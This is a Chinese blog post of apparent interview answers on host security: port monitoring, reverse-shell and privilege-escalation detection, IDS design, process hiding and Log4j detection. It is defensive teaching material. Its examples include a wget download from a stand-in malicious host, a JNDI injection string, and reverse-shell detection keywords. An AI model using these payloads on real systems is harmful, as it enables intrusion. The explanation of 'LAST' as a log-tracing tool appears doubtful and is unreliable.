网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
商汤科技-安全开放工程师
如何查看自己服务器的端口状况 如何查看远程服务器情况 反弹shell如何检测 如果攻击者使用了AWK如何检测 除了进程树的命令匹配,还有可以检测反弹shell的方法吗? 提权手段 SUID提权 分别说说这几类提权的检测方法 如果让你设计一款入侵检测系统,你会往哪几方面考虑(发散思维)(文件、网络连接、进程) 进程隐藏技术 log4j检测原理 聊聊LAST 如果进程下,A进程的Source触发了B进程的sink点,如何溯源?
一、服务器端口与远程状态监控
1. 如何查看服务器端口状况
- 工具与命令:
netstat -tulnp
:显示所有TCP/UDP监听端口及关联进程(-t
为TCP,-u
为UDP,-l
为监听,-n
禁用域名解析,-p
显示进程)。ss -sptn
:替代netstat
的高效工具,支持过滤特定状态(如ESTAB
、LISTEN
)。lsof -i :<端口号>
:查看指定端口的进程及文件句柄,适用于调试端口占用问题。nmap -sS 127.0.0.1
:本地端口扫描,检测隐藏服务(如未监听的临时端口)。- 自动化监控:
- 使用
Prometheus + Node Exporter
采集端口指标,通过Grafana可视化异常端口变化。- 编写脚本周期性执行
netstat
,对比历史数据发现新增可疑端口。- 安全实践:
- 禁用非必要服务(如
systemctl stop rpcbind
),减少攻击面。- 利用防火墙(
iptables
/firewalld
)限制端口访问范围(如仅允许特定IP访问SSH)。2. 如何查看远程服务器状态
- 基础命令:
ssh user@host "top -b -n 1"
:远程执行命令获取资源使用率(CPU、内存)。scp user@host:/var/log/syslog ./
:拉取远程日志进行离线分析。- 高级工具:
Ansible Ad-Hoc
:批量执行ansible all -m shell -a "df -h"
收集磁盘信息。Zabbix Agent
:部署监控代理,实时采集远程服务器的性能与服务状态。- 云原生方案:
- AWS CloudWatch、阿里云监控:集成ECS实例的CPU、网络流量、进程级监控。
- 通过SSM Session Manager实现无SSH密钥的远程管理,避免端口暴露。
二、反弹Shell检测技术
1. 反弹Shell的行为特征
- 网络层检测:
- 监控出站连接至非常用端口(如4444、5555)或境外IP。
- 分析TCP连接行为:长时间保持的交互式会话(与HTTP短连接对比)。
- 进程层检测:
- 进程树异常:Shell进程(如
/bin/bash
)的父进程非SSH或终端(如父进程为Web服务)。- 命令行特征:包含
/dev/tcp
、nc -e
、bash -i
等关键字。- 日志审计:
- 检查
/var/log/auth.log
中的异常SSH登录记录。- 分析
auditd
日志,追踪execve
系统调用执行可疑二进制文件。2. 进阶检测方法
- 流量Payload分析:
- 使用
tcpdump
捕获流量,检测明文传输的Shell命令(如whoami
、id
)。- 对加密流量(如HTTPS)进行JA3指纹识别,匹配已知C2工具(如Metasploit、Cobalt Strike)。
- 行为沙箱检测:
- 在隔离环境中运行可疑进程,观察是否尝试建立反向连接。
- 监控进程的文件操作(如下载
/tmp
目录下的恶意脚本)。- EDR解决方案:
- CrowdStrike Falcon、微软Defender for Endpoint:基于端点行为模型检测交互式Shell活动。
- 通过Hook系统调用(如
connect
、execve
)实时阻断恶意行为。3. 针对AWK攻击的检测
- 恶意AWK脚本特征:
- 脚本中包含网络操作(如通过
/inet/tcp
建立Socket连接)。- 执行外部命令(如
system("wget http://malicious.com/backdoor")
)。- 防御策略:
- 限制AWK执行权限:使用
chmod a-x /usr/bin/awk
或AppArmor限制功能。- 审计计划任务和系统服务,排查通过
cron
调用的可疑AWK脚本。
三、提权手段与检测方法
1. SUID提权
- 原理:利用具有SUID权限的可执行文件(如
/bin/ping
、/usr/bin/find
),以文件所有者(如root)身份执行命令。- 检测方法:
- 查找SUID文件:
find / -perm -4000 -type f 2>/dev/null
。- 对比基线:使用
rpm -Va
或debsums
验证系统文件完整性,发现被篡改的SUID文件。- 监控文件变更:通过
inotify
实时监控/usr/bin
等目录的SUID属性变化。- 防御措施:
- 最小化SUID文件数量:
chmod u-s /path/to/file
。- 使用SELinux/AppArmor限制SUID进程的能力(如禁止网络访问)。
2. 其他提权手段与检测
- 内核漏洞利用:
- 检测:监控
dmesg
日志中的内核Oops信息;使用lynis
扫描未修复的CVE。- 防御:及时更新内核,禁用危险模块(如
modprobe -r msr
)。- Sudo配置错误:
- 检测:审计
/etc/sudoers
中NOPASSWD权限和通配符滥用。- 防御:遵循最小权限原则,使用
visudo
严格配置命令白名单。- 环境变量劫持:
- 检测:检查动态链接库路径(
LD_LIBRARY_PATH
)和ld.so.preload
文件。- 防御:设置
sudo
的secure_path
,限制环境变量继承。
四、入侵检测系统(IDS)设计要点
1. 多维度数据采集
- 文件监控:
- 文件完整性校验(如AIDE):对比哈希值、权限、时间戳。
- 实时监控敏感目录(如
/etc
、/root
)的文件创建、修改事件。- 网络连接分析:
- 解析Netflow数据,识别低频慢速扫描(如Log4j漏洞探测)。
- 对加密流量进行TLS证书指纹匹配,发现恶意C2通信。
- 进程行为建模:
- 建立进程启动基线,检测异常进程链(如
apache → bash → curl
)。- 捕获进程内存中的恶意代码注入(如Meterpreter反射DLL)。
2. 威胁情报集成
- IoC匹配:
- 集成MITRE ATT&CK框架,关联攻击者TTPs(战术、技术、过程)。
- 自动化拉取威胁情报(如AlienVault OTX),实时阻断已知恶意IP。
- 行为分析引擎:
- 使用机器学习模型(如孤立森林)检测资源访问异常(如数据库敏感表遍历)。
- 构建用户行为画像(UEBA),发现横向移动或数据外传。
3. 响应与溯源能力
- 自动化响应:
- 联动防火墙隔离失陷主机,阻断恶意IP的出站连接。
- 通过SOAR平台自动下发排查命令(如收集进程树、内存快照)。
- 取证与溯源:
- 保存完整流量PCAP和系统日志,支持时间线重建。
- 使用
Volatility
分析内存镜像,提取攻击者植入的Shellcode或凭证。
五、进程隐藏技术与对抗
1. 常见隐藏技术
- 用户态隐藏:
- LD_PRELOAD劫持:替换
readdir
函数,过滤/proc
中的进程目录。- Mount Namespace:通过
unshare -m
挂载新的/proc
,隐藏特定进程。- 内核态隐藏:
- Rootkit驱动:Hook
sys_getdents
系统调用,绕过ps
、top
等工具。- eBPF程序注入:动态修改内核数据结构(如任务队列),删除目标进程节点。
2. 检测方法
- 跨视角对比:
- 对比
ps
、top
与/proc
目录中的进程列表差异。- 使用
unhide-posix
工具扫描隐藏进程。- 内存取证:
- 通过
LiME
获取内存镜像,使用Volatility
的psxview
插件分析进程链表。- 硬件辅助检测:
- 利用Intel PT(Processor Trace)追踪指令流,发现未在进程列表中运行的代码。
六、Log4j漏洞检测与LAST分析
1. Log4j检测原理
- 漏洞原理:JNDI注入(如
${jndi:ldap://attacker.com/Exploit}
)触发远程类加载。- 检测方法:
- 流量特征:匹配
${jndi:
、ldap://
、rmi://
等关键字。- 日志审计:扫描日志文件中的异常JNDI请求(如非常用域名)。
- 版本检查:使用
log4j-core-*.jar
的MANIFEST.MF验证版本号是否低于2.17.0。2. LAST(日志分析与溯源工具)
- 应用场景:
- 聚合多源日志(如Nginx、Kubernetes),关联攻击事件。
- 通过时间戳排序,重建攻击链(如SQL注入后的WebShell上传)。
- 关键技术:
- 正则表达式引擎:高效提取日志中的IP、URL、状态码。
- 统计模型:识别日志洪泛(如CC攻击)或低频隐蔽攻击(如APT)。
七、跨进程溯源技术
1. 进程间触发关系追踪
- 进程树分析:
- 使用
pstree
或ps -ejH
查看进程父子关系,定位源头(如Web服务启动恶意子进程)。- 审计
fork
/execve
系统调用,记录进程创建链。- 文件与Socket关联:
- 通过
lsof
或fuser
查找进程打开的文件描述符(如共享内存、管道)。- 分析Unix域套接字(
ss -x
)的通信路径,跨进程传递恶意指令。2. 动态追踪技术
- eBPF程序:
- 编写BPF脚本监控
ptrace
调用,检测进程注入行为(如GDB调试恶意代码)。- 跟踪进程间信号传递(如
SIGTERM
、SIGSEGV
),发现异常终止。- 审计框架:
- 配置
auditd
规则记录进程间IPC操作(如keyctl
、shmctl
)。- 使用
ausearch
工具查询特定进程的交互事件。